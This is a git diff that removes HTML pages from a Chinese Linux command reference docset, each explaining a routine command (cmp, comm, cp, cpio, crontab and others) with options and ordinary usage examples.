- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/clockdiff.html b/linux-command.docset/Contents/Resources/Documents/c/clockdiff.html deleted file mode 100644 index 3d3dd06004..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/clockdiff.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - clockdiff 命令,Linux clockdiff 命令详解:检测两台linux主机的时间差 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

clockdiff

-

检测两台linux主机的时间差

-

补充说明

-

在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 clockdiff 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。

-

选项

-
-o:使用IP时间戳选项来测量系统时间差。时间戳只用3个。
--o1:使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置,那么就是用ICMP时间戳来测试系统时间差。
-
-

实例

-
lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1
-PING www.ustc.edu.cn (202.38.64.9) 56(124) bytes of data.
-64 bytes from 202.38.64.9: icmp_seq=1 ttl=62 time=0.823 ms
-TS:     lixi-desktop.local (210.45.74.25)    12522473 absolute
-    210.45.74.1    -251
-    local-gw.ustc.edu.cn (202.38.64.126)    248
-    202.38.64.9    -857514
-Unrecorded hops: 3
-
---- www.ustc.edu.cn ping statistics ---
-1 packets transmitted, 1 received, 0% packet loss, time 0ms
-rtt min/avg/max/mdev = 0.823/0.823/0.823/0.000 ms
-
-

首先由上面的得出在RRT不大的时候,几个ICMP时间戳的关系。本地主机和202.38.64.9之间的时间差约为:-857514+248-251=-857517。分别用-o(IP选项中时间戳)和不带选项(ICMP路由时间戳)上述路由的系统时间进行测试。得到的结果:

-
lixi@lixi-desktop:~# ./clockdiff -o 202.38.64.9  
-..................................................
-host=202.38.64.9 rtt=1(0)ms/1ms delta=-857517ms/-857517ms Wed Dec 17 11:28:30 2008
-
-
lixi@lixi-desktop:~# ./clockdiff 202.38.64.9
-.
-host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:35 2008
-
-

两种方法测试的都比较准确。

-
lixi@lixi-desktop:~#./clockdiff gigagate1.Princeton.EDU
-..................................................
-host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:50:16 2008
-
-

上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cmp.html b/linux-command.docset/Contents/Resources/Documents/c/cmp.html deleted file mode 100644 index c707485c52..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cmp.html +++ /dev/null @@ -1,106 +0,0 @@ - - - - - - - - - - - cmp 命令,Linux cmp 命令详解:比较两个文件是否有差异 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cmp

-

比较两个文件是否有差异

-

补充说明

-

cmp命令 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时,则该指令不会显示任何信息。若发现有差异,预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”,则cmp指令会从标准输入设备读取数据。

-

语法

-
cmp(选项)(参数)
-
-

选项

-
-c或--print-chars:除了标明差异处的十进制字码之外,一并显示该字符所对应字符;
--i<字符数目>或--ignore-initial=<字符数目>:指定一个数目;
--l或——verbose:标示出所有不一样的地方;
--s或--quiet或——silent:不显示错误信息;
--v或——version:显示版本信息;
---help:在线帮助。
-
-

参数

-

目录:比较两个文件的差异。

-

实例

-

使用cmp命令比较文件"testfile"和文件"testfile1"两个文件,则输入下面的命令:

-
cmp testfile testfile1            #比较两个指定的文件
-
-

在上述指令执行之前,使用cat命令查看两个指定的文件内容,如下所示:

-
cat testfile                    #查看文件内容  
-Absncn 50                       #显示文件“testfile”  
-Asldssja 60  
-Jslkadjls 85 
-
-cat testfile1                   #查看文件内容  
-Absncn 50                       #显示文件“testfile1”  
-AsldssjE 62  
-Jslkadjls 85  
-
-

然后,再执行cmp命令,并返回比较结果,具体如下所示:

-
cmp testfile testfile1       #比较两个文件  
-testfile testfile1           #有差异:第8字节,第2行  
-
-

注意:在比较结果中,只能够显示第一比较结果。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/col.html b/linux-command.docset/Contents/Resources/Documents/c/col.html deleted file mode 100644 index fc69f5428f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/col.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - col 命令,Linux col 命令详解:过滤控制字符 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

col

-

过滤控制字符

-

补充说明

-

col命令 是一个标准输入文本过滤器,它从标注输入设备读取文本内容,并把内容显示到标注输出设备。在许多UNIX说明文件里,都有RLF控制字符。当我们运用shell特殊字符>>>,把说明文件的内容输出成纯文本文件时,控制字符会变成乱码,col命令则能有效滤除这些控制字符。

-

语法

-
col(选项)
-
-

选项

-
-b:过滤掉所有的控制字符,包括RLF和HRLF;
--f:滤掉RLF字符,但允许将HRLF字符呈现出来;
--x:以多个空格字符来表示跳格字符;
--l<缓冲区列数>:预设的内存缓冲区有128列,用户可以自行指定缓冲区的大小。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/colrm.html b/linux-command.docset/Contents/Resources/Documents/c/colrm.html deleted file mode 100644 index cd7bfb6338..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/colrm.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - colrm 命令,Linux colrm 命令详解:删除文件中的指定列 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

colrm

-

删除文件中的指定列

-

补充说明

-

colrm命令 用于删除文件中的指定列。colrm命令从标准输入设备读取书记,转而输出到标准输出设备。如果不加任何参数,则colrm命令不会过滤任何一行。

-

语法

-
colrm(参数)
-
-

参数

-
    -
  • 起始列号:指定要删除的指定列;
  • -
  • 结尾列号:指定要删除的结尾列。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/comm.html b/linux-command.docset/Contents/Resources/Documents/c/comm.html deleted file mode 100644 index a7a0d73bc6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/comm.html +++ /dev/null @@ -1,174 +0,0 @@ - - - - - - - - - - - comm 命令,Linux comm 命令详解:按行比较两个已排序的文件。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

comm

-

按行比较两个已排序的文件。

-

概要

-
comm [OPTION]... FILE1 FILE2
-
-

主要用途

-
    -
  • 按行比较两个已排序的文件。
  • -
  • FILE1FILE2-时,读取标准输入。
  • -
  • 无选项时输出三列,第一列为FILE1独有的行,第二列为FILE2独有的行,第三列为FILE1FILE2共有的行。
  • -
-

选项

-
-1                        不输出第一列。
--2                        不输出第二列。
--3                        不输出第三列。
---check-order             检查输入行是否正确的排序,即使它们确实是已排序过的。
---nocheck-order           不检查输入行是否正确的排序。
---output-delimiter=STR    使用STR作为输出列之间的分隔符而不是默认的TAB。
---total                   额外地增加第四列输出概要。
--z, --zero-terminated     设置行终止符为NUL(空),而不是换行符。
---help                    显示帮助信息并退出。
---version                 显示版本信息并退出。
-
-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-

文本 aaa.txt 内容

-
[root@localhost text]# cat aaa.txt 
-aaa
-bbb
-ccc
-ddd
-eee
-111
-222
-
-

文本 bbb.txt 内容

-
[root@localhost text]# cat bbb.txt 
-bbb
-ccc
-aaa
-hhh
-ttt
-jjj
-
-

比较结果

-
[root@localhost text]# comm --nocheck-order aaa.txt bbb.txt 
-aaa
-                bbb
-                ccc
-        aaa
-ddd
-eee
-111
-222
-        hhh
-        ttt
-        jjj
-
-

输出的第一列只包含在aaa.txt中出现的行,第二列包含在bbb.txt中出现的行,第三列包含在aaa.txt和bbb.txt中相同的行。各列之间以制表符(\t)作为分隔符。

-

比较排序过的文档

-

先通过 sort 将文件内容排序:

-
[root@localhost ~]# sort aaa.txt > aaa1.txt
-[root@localhost ~]# sort bbb.txt > bbb1.txt
-
-

比较结果:

-
[root@localhost ~]# comm aaa1.txt bbb1.txt
-111
-222
-		aaa
-		bbb
-		ccc
-ddd
-eee
-	hhh
-	jjj
-	ttt
-
-

交集

-

打印两个文件的交集,需要删除第一列和第二列:

-
[root@localhost text]# comm aaa.txt bbb.txt -1 -2
-bbb
-ccc
-
-

差集

-

通过删除不需要的列,可以得到aaa.txt和bbb.txt的差集:

-

aaa.txt的差集

-
[root@localhost text]# comm aaa.txt bbb.txt -2 -3
-aaa
-ddd
-eee
-111
-222
-
-

bbb.txt的差集

-
[root@localhost text]# comm aaa.txt bbb.txt -1 -3
-aaa
-hhh
-ttt
-jjj
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 comminfo coreutils 'comm invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/command.html b/linux-command.docset/Contents/Resources/Documents/c/command.html deleted file mode 100644 index 94df7751c4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/command.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - command 命令,Linux command 命令详解:调用并执行指定的命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

command

-

调用并执行指定的命令

-

补充说明

-

command命令 调用指定的指令并执行,命令执行时不查询shell函数。command命令只能够执行shell内部的命令。

-

语法

-
command(参数)
-
-

参数

-

指令:需要调用的指令及参数。

-

实例

-

使用command命令调用执行echo Linux,输入如下命令:

-
command echo Linux            #调用执行shell内部指令
-
-

上面的命令执行后,将调用执行命令echo Linux,其执行结果如下:

-
Linux
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/compress.html b/linux-command.docset/Contents/Resources/Documents/c/compress.html deleted file mode 100644 index f89ac60553..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/compress.html +++ /dev/null @@ -1,107 +0,0 @@ - - - - - - - - - - - compress 命令,Linux compress 命令详解:使用Lempress-Ziv编码压缩数据文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

compress

-

使用Lempress-Ziv编码压缩数据文件

-

补充说明

-

compress命令 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成。

-

语法

-
compress(选项)(参数)
-
-

选项

-
-f:不提示用户,强制覆盖掉目标文件;
--c:将结果送到标准输出,无文件被改变;
--r:递归的操作方式;
--b<压缩效率>:压缩效率是一个介于9~16的数值,预设值为"16",指定愈大的数值,压缩效率就愈高;
--d:对文件进行解压缩而非压缩;
--v:显示指令执行过程;
--V:显示指令版本及程序预设值。
-
-

参数

-

文件:指定要压缩的文件列表。

-

实例

-

/etc/man.config复到/tmp ,并加以压缩

-
[root@localhost ~]# cd /tmp
-[root@localhost tmp]# cp /etc/man.config .
-[root@localhost tmp]# compress man.config
-[root@localhost tmp]# ls -l
-
-
-rw-r--r-- 1 root root 2605 Jul 27 11:43 man.config.Z
-
-

将刚刚的压缩档解开

-
[root@localhost tmp]# compress -d man.config.Z
-
-

将 man.config 压缩成另外一个文件来备份

-
[root@localhost tmp]# compress -c man.config > man.config.back.Z
-[root@localhost tmp]# ll man.config*
-
-
-rw-r--r-- 1 root root 4506 Jul 27 11:43 man.config
--rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z
-
-

这个-c的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/consoletype.html b/linux-command.docset/Contents/Resources/Documents/c/consoletype.html deleted file mode 100644 index 596b35e5fa..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/consoletype.html +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - consoletype 命令,Linux consoletype 命令详解:输出已连接的终端类型 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

consoletype

-

输出已连接的终端类型

-

补充说明

-

consoletype命令 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端。

-

语法

-
consoletype
-
-

实例

-
[root@localhost ~]# consoletype
-pty
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/continue.html b/linux-command.docset/Contents/Resources/Documents/c/continue.html deleted file mode 100644 index 5a97b772e6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/continue.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - - - - - - - - continue 命令,Linux continue 命令详解:结束本次循环,继续执行下一个for,while或until循环。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

continue

-

结束本次循环,继续执行下一个for,while或until循环。

-

概要

-
continue [n]
-
-

主要用途

-
    -
  • 结束本次循环,继续执行下一个for,while或until循环;可指定从第几层循环继续执行。
  • -
-

参数

-

n(可选):大于等于1的整数,用于指定从第几层循环继续执行。

-

返回值

-

返回状态为成功除非n小于1。

-

例子

-
# continue的可选参数n缺省值为1。
-for((i=3;i>0;i--)); do
-  # 跳到内层for循环继续执行。
-  for((j=3;j>0;j--)); do
-    if((j==2)); then
-      # 换成continue 1时结果一样
-      continue
-    fi
-  printf "%s %s\n" ${i} ${j}
-  done
-done
-# 输出结果
-3 3
-3 1
-2 3
-2 1
-1 3
-1 1
-
-
# 当n为2时:
-# 跳到外层for循环继续执行。
-for((i=3;i>0;i--)); do
-  for((j=3;j>0;j--)); do
-    if((j==2)); then
-      continue 2
-    fi
-  printf "%s %s\n" ${i} ${j}
-  done
-done
-# 输出结果
-3 3
-2 3
-1 3
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/convertquota.html b/linux-command.docset/Contents/Resources/Documents/c/convertquota.html deleted file mode 100644 index 6b9ae8344e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/convertquota.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - convertquota 命令,Linux convertquota 命令详解:把老的配额文件转换为新的格式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

convertquota

-

把老的配额文件转换为新的格式

-

补充说明

-

convertquota命令 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。

-

语法

-
convertquota(选项)(参数)
-
-

选项

-
-u:仅转换用户磁盘配额数据文件;
--g:仅转换组磁盘配额数据文件;
--f:将老的磁盘配额文件转换为新的格式;
--e:将新的文件格式从大字节序换为小字节序。
-
-

参数

-

文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。

-

实例

-

使用convertquota指令转换指定文件系统/data的磁盘配额数据文件。在命令行中输入下面的命令:

-
convertquota -u /data     //转换文件系统"/data"上的用户磁盘配额文件
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cp.html b/linux-command.docset/Contents/Resources/Documents/c/cp.html deleted file mode 100644 index a74d0ade39..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cp.html +++ /dev/null @@ -1,146 +0,0 @@ - - - - - - - - - - - cp 命令,Linux cp 命令详解:将源文件或目录复制到目标文件或目录中 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cp

-

将源文件或目录复制到目标文件或目录中

-

补充说明

-

cp命令 用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现错误。

-

语法

-
cp(选项)(参数)
-
-

选项

-
-a:此参数的效果和同时指定"-dpR"参数相同;
--d:当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录;
--f:强行复制文件或目录,不论目标文件或目录是否已存在;
--i:覆盖既有文件之前先询问用户;
--l:对源文件建立硬连接,而非复制文件;
--p:保留源文件或目录的属性;
--R/r:递归处理,将指定目录下的所有文件与子目录一并处理;
--s:对源文件建立符号连接,而非复制文件;
--u:使用这项参数后只会在源文件的更改时间较目标文件更新时或是名称相互对应的目标文件并不存在时,才复制文件;
--S:在备份文件时,用指定的后缀“SUFFIX”代替文件的默认后缀;
--b:覆盖已存在的文件目标前将目标文件备份;
--v:详细显示命令执行的操作。
-
-

参数

-
    -
  • 源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用-R选项;
  • -
  • 目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。
  • -
-

实例

-

下面的第一行中是 cp 命令和具体的参数(-r 是“递归”, -u 是“更新”,-v 是“详细”)。接下来的三行显示被复制文件的信息,最后一行显示命令行提示符。这样,只拷贝新的文件到我的存储设备上,我就使用 cp 的“更新”和“详细”选项。

-

通常来说,参数 -r 也可用更详细的风格 --recursive。但是以简短的方式,也可以这么连用 -ruv

-
cp -r -u -v /usr/men/tmp ~/men/tmp
-
-

版本备份 --backup=numbered 参数意思为“我要做个备份,而且是带编号的连续备份”。所以一个备份就是 1 号,第二个就是 2 号,等等。

-
$ cp --force --backup=numbered test1.py test1.py
-$ ls
-test1.py test1.py.~1~ test1.py.~2~
-
-

如果把一个文件复制到一个目标文件中,而目标文件已经存在,那么,该目标文件的内容将被破坏。此命令中所有参数既可以是绝对路径名,也可以是相对路径名。通常会用到点.或点点..的形式。例如,下面的命令将指定文件复制到当前目录下:

-
cp ../mary/homework/assign .
-
-

所有目标文件指定的目录必须是己经存在的,cp命令不能创建目录。如果没有文件复制的权限,则系统会显示出错信息。

-

将文件file复制到目录/usr/men/tmp下,并改名为file1

-
cp file /usr/men/tmp/file1
-
-

将目录/usr/men下的所有文件及其子目录复制到目录/usr/zh

-
cp -r /usr/men /usr/zh
-
-

交互式地将目录/usr/men中的以m打头的所有.c文件复制到目录/usr/zh

-
cp -i /usr/men m*.c /usr/zh
-
-

我们在Linux下使用cp命令复制文件时候,有时候会需要覆盖一些同名文件,覆盖文件的时候都会有提示:需要不停的按Y来确定执行覆盖。文件数量不多还好,但是要是几百个估计按Y都要吐血了,于是折腾来半天总结了一个方法:

-
cp aaa/* /bbb
-# 复制目录aaa下所有到/bbb目录下,这时如果/bbb目录下有和aaa同名的文件,需要按Y来确认并且会略过aaa目录下的子目录。
-
-cp -r aaa/* /bbb
-# 这次依然需要按Y来确认操作,但是没有忽略子目录。
-
-cp -r -a aaa/* /bbb
-# 依然需要按Y来确认操作,并且把aaa目录以及子目录和文件属性也传递到了/bbb。
-
-\cp -r -a aaa/* /bbb
-# 成功,没有提示按Y、传递了目录属性、没有略过目录。
-
-

递归强制复制目录到指定目录中覆盖已存在文件

-
cp -rfb ./* ../backup
-# 将当前目录下所有文件,复制到当前目录的兄弟目录 backup 文件夹中
-
-

拷贝目录下的隐藏文件如 .babelrc

-
cp -r aaa/.* ./bbb
-# 将 aaa 目录下的,所有`.`开头的文件,复制到 bbb 目录中。
-
-cp -a aaa ./bbb/ 
-# 记住后面目录最好的'/' 带上 `-a` 参数
-
-

复制到当前目录

-
cp aaa.conf ./
-# 将 aaa.conf 复制到当前目录
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cpio.html b/linux-command.docset/Contents/Resources/Documents/c/cpio.html deleted file mode 100644 index 42f24d01cb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cpio.html +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - - - - - - cpio 命令,Linux cpio 命令详解:用来建立、还原备份档的工具程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cpio

-

用来建立、还原备份档的工具程序

-

补充说明

-

cpio命令 主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。

-

语法

-
cpio(选项)
-
-

选项

-
-0或--null:接受新增列控制字符,通常配合find指令的“-print0”参数使用;
--a或--rest-access-time:重新设置文件的存取时间;
--A或--append:附加到已存在的备份文档中,且这个备份文档必须存放在磁盘上,而不能放置于磁带机里;
--b或--awap:此参数的效果和同时指定“-ss”参数相同;
--B:将输入/输出的区块大小改成5210Bytes;
--c:使用旧ASCII备份格式;
--C<区块大小>或--io-size=<区块大小>:设置输入/输出的区块大小,单位是Byte;
--d或--make-directories:如有需要cpio会自行建立目录;
--E<范本文件>或--pattern-file=<范本文件>:指定范本文件,其内含有一个或多个范本样式,让cpio解开符合范本条件的文件,格式为每列一个范本样式;
--f或--nonmatching:让cpio解开所有不符合范本条件的文件;
--F<备份档>或--file=<备份档>:指定备份档的名称,用来取代标准输入或输出,也能借此通过网络使用另一台主机的保存设备存取备份档;
--H<备份格式>:指定备份时欲使用的文件格式;
--i或--extract:执行copy-in模式,还原备份档;
--l<备份档>:指定备份档的名称,用来取代标准输入,也能借此通过网络使用另一台主机的保存设备读取备份档;
--k:此参数将忽略不予处理,仅负责解决cpio不同版本间的兼容性问题;
--l或--link:以硬连接的方式取代复制文件,可在copy-pass模式下运用;
--L或--dereference:不建立符号连接,直接复制该连接所指向的原始文件;
--m或preserve-modification-time:不去更改文件的更改时间;
--M<回传信息>或--message=<回传信息>:设置更换保存媒体的信息;
--n或--numeric-uid-gid:使用“-tv”参数列出备份档的内容时,若再加上参数“-n”,则会以用户识别和群组识别码替代拥有者和群组名称列出文件清单;
--o或--create:执行copy-out模式,建立备份档;
--O<备份档>:指定备份档的名称,用来取代标准输出,也能借此通过网络使用另一台主机的保存设备存放备份档;
--p或--pass-through:执行copy-pass模式,略过备份步骤,直接将文件复制到目的目录;
--r或--rename:当有文件名称需要更改时,采用互动模式;
--R<拥有者><:/.><所属群组>或----owner<拥有者><:/.><所属群组>   在copy-in模式还原备份档,或copy-pass模式复制文件时,可指定这些备份,复制的文件的拥有者与所属群组;
--s或--swap-bytes:交换每队字节的内容;
--S或--swap-halfwords:交换每半个字节的内容;
--t或--list:将输入的内容呈现出来;
--u或--unconditional:置换所有文件,不论日期时间的新旧与否,皆不予询问而直接覆盖;
--v或--verbose:详细显示指令的执行过程;
--V或--dot:执行指令时。在每个文件的执行程序前面加上“.”号;
---block-size=<区块大小>:设置输入/输出的区块大小,假如设置数值为5,则区块大小为2500,若设置成10,则区块大小为5120,以此类推;
---force-local:强制将备份档存放在本地主机;
---help:在线帮助;
---no-absolute-filenames:使用相对路径建立文件名称;
---no-preserve-owner:不保留文件的拥有者,谁解开了备份档,那些文件就归谁所有;
--only-verify-crc:当备份档采用CRC备份格式时,可使用这项参数检查备份档内的每个文件是否正确无误;
---quiet:不显示复制了多少区块;
---sparse:倘若一个文件内含有大量的连续0字节,则将此文件存在稀疏文件;
---version:显示版本信息。
-
-

实例

-

/etc下的所有普通文件都备份到/opt/etc.cpio,使用以下命令:

-
find /etc –type f | cpio –ocvB >/opt/etc.cpio
-
-

将系统上所有资料备份到磁带机内,使用以下命令:

-
find / -print | cpio -covB > /dev/st0
-
-

这里的/dev/st0是磁带的设备名,代表SCSI磁带机。

-

查看上例磁带机上备份的文件,使用以下命令:

-
cpio  -icdvt < /dev/st0 > /tmp/st_content
-
-

有时可能因为备份的文件过多,一个屏幕无法显示完毕,此时我们利用下面命令,让磁带机的文件信息输出到文件。

-

将示例1中的备份包还原到相应的位置,如果有相同文件进行覆盖,使用以下命令:

-
cpio –icduv < /opt/etc.cpio
-
-

注意,cpio恢复的路径,如果cpio在打包备份的时候用的是绝对路径,那么在恢复的时候会自动恢复到这些绝对路径下,本例就会将备份文件全部还原到/etc路径下对应的目录中。同理,如果在打包备份用的是相对路径,还原时也将恢复到相对路径下。

-

通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/crontab.html b/linux-command.docset/Contents/Resources/Documents/c/crontab.html deleted file mode 100644 index c33e2b5a3a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/crontab.html +++ /dev/null @@ -1,187 +0,0 @@ - - - - - - - - - - - crontab 命令,Linux crontab 命令详解:提交和管理用户的需要周期性执行的任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

crontab

-

提交和管理用户的需要周期性执行的任务

-

补充说明

-

crontab命令 被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

-

语法

-
crontab(选项)(参数)
-
-

选项

-
-e:编辑该用户的计时器设置;
--l:列出该用户的计时器设置;
--r:删除该用户的计时器设置;
--u<用户名称>:指定要设定计时器的用户名称。
-
-

参数

-

crontab文件:指定包含待执行任务的crontab文件。

-

知识扩展

-

Linux下的任务调度分为两类: 系统任务调度用户任务调度

-

系统任务调度: 系统周期性所要执行的工作,比如写缓存数据到硬盘、日志清理等。在/etc目录下有一个crontab文件,这个就是系统任务调度的配置文件。

-

/etc/crontab文件包括下面几行:

-
SHELL=/bin/bash
-PATH=/sbin:/bin:/usr/sbin:/usr/bin
-MAILTO=""HOME=/
-
-# run-parts
-51 * * * * root run-parts /etc/cron.hourly
-24 7 * * * root run-parts /etc/cron.daily
-22 4 * * 0 root run-parts /etc/cron.weekly
-42 4 1 * * root run-parts /etc/cron.monthly
-
-

前四行是用来配置crond任务运行的环境变量,第一行SHELL变量指定了系统要使用哪个shell,这里是bash,第二行PATH变量指定了系统执行命令的路径,第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户,第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。

-

用户任务调度: 用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的crontab文件都被保存在/var/spool/cron目录中。其文件名与用户名一致,使用者权限文件如下:

-
/etc/cron.deny     该文件中所列用户不允许使用crontab命令
-/etc/cron.allow    该文件中所列用户允许使用crontab命令
-/var/spool/cron/   所有用户crontab文件存放的目录,以用户名命名
-
-

crontab文件的含义:用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:

-
minute   hour   day   month   week   command     顺序:分 时 日 月 周
-
-

其中:

-
    -
  • minute: 表示分钟,可以是从0到59之间的任何整数。
  • -
  • hour:表示小时,可以是从0到23之间的任何整数。
  • -
  • day:表示日期,可以是从1到31之间的任何整数。
  • -
  • month:表示月份,可以是从1到12之间的任何整数。
  • -
  • week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
  • -
  • command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
  • -
-

在以上各个字段中,还可以使用以下特殊字符:

-
    -
  • 星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
  • -
  • 逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
  • -
  • 中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
  • -
  • 正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
  • -
-

crond服务

-
/sbin/service crond start    # 启动服务
-/sbin/service crond stop     # 关闭服务
-/sbin/service crond restart  # 重启服务
-/sbin/service crond reload   # 重新载入配置
-
-

查看crontab服务状态:

-
service crond status
-
-

手动启动crontab服务:

-
service crond start
-
-

查看crontab服务是否已设置为开机启动,执行命令:

-
ntsysv
-
-

加入开机自动启动:

-
chkconfig –level 35 crond on
-
-

实例

-

每1分钟执行一次command

-
* * * * * command
-
-

每小时的第3和第15分钟执行

-
3,15 * * * * command
-
-

在上午8点到11点的第3和第15分钟执行

-
3,15 8-11 * * * command
-
-

每隔两天的上午8点到11点的第3和第15分钟执行

-
3,15 8-11 */2 * * command
-
-

每个星期一的上午8点到11点的第3和第15分钟执行

-
3,15 8-11 * * 1 command
-
-

每晚的21:30重启smb 

-
30 21 * * * /etc/init.d/smb restart
-
-

